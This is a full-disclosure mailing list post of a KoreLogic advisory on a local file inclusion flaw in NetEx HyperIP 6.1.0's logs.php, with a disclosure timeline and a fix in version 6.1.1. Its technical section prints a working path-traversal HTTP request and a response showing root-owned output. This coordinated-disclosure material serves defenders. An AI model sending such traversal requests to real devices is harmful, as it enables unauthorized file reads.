full-disclosure - [FD] KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

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Message-ID: <1b92a99b-30cd-80ca-c7fe-6c7f66123003@korelogic.com>
Date: Fri, 9 Feb 2018 11:13:15 -0600
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: [FD] KL-001-2018-005 : NetEx HyperIP Local File Inclusion
	Vulnerability

KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt

1. Vulnerability Details

     Affected Vendor: NetEx
     Affected Product: HyperIP
     Affected Version: 6.1.0
     Platform: Embedded Linux
     CWE Classification: CWE-73: External Control of File Name or Path, CWE-592: Authentication Bypass Issues
     Impact: Arbitrary Filesystem Reads
     Attack vector: HTTPS

2. Vulnerability Description

     Local files can be included within the HTTP response given
     by logs.php

3. Technical Description

     Any arbitrary file, such as the one created in KL-001-2018-004, can
     be returned by the logs.php script.

       GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 13:07:51 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Content-Length: 502
       Connection: close
       Content-Type: text/html; charset=UTF-8

       <html>
       <head>
       <meta HTTP-EQUIV="Expires" CONTENT="0">
       <link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
       </head>
       <body class="dsp">

       <H1>Show System Log  <font size=2>[ Monday @ 08:07:51 ]</font></H1>
       <pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
       </pre>
       </body>
       </html>

4. Mitigation and Remediation Recommendation

     The vendor has released version 6.1.1 of HyperIP, which they state
     addresses this vulnerability.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.24 - KoreLogic submits vulnerability details to NetEx.
     2017.07.24 - NetEx confirms receipt.
     2017.08.16 - NetEx informs KoreLogic that this and other reported
                  vulnerabilities have been addressed in the forthcoming
                  release. ETA as of yet undetermined.
     2017.09.05 - 30 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.09.19 - NetEx informs KoreLogic that the forthcoming release
                  6.1.1 is expected to ship at the end of January 2018.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.12.01 - 90 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.17 - 120 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
                  has gone live.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.

The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

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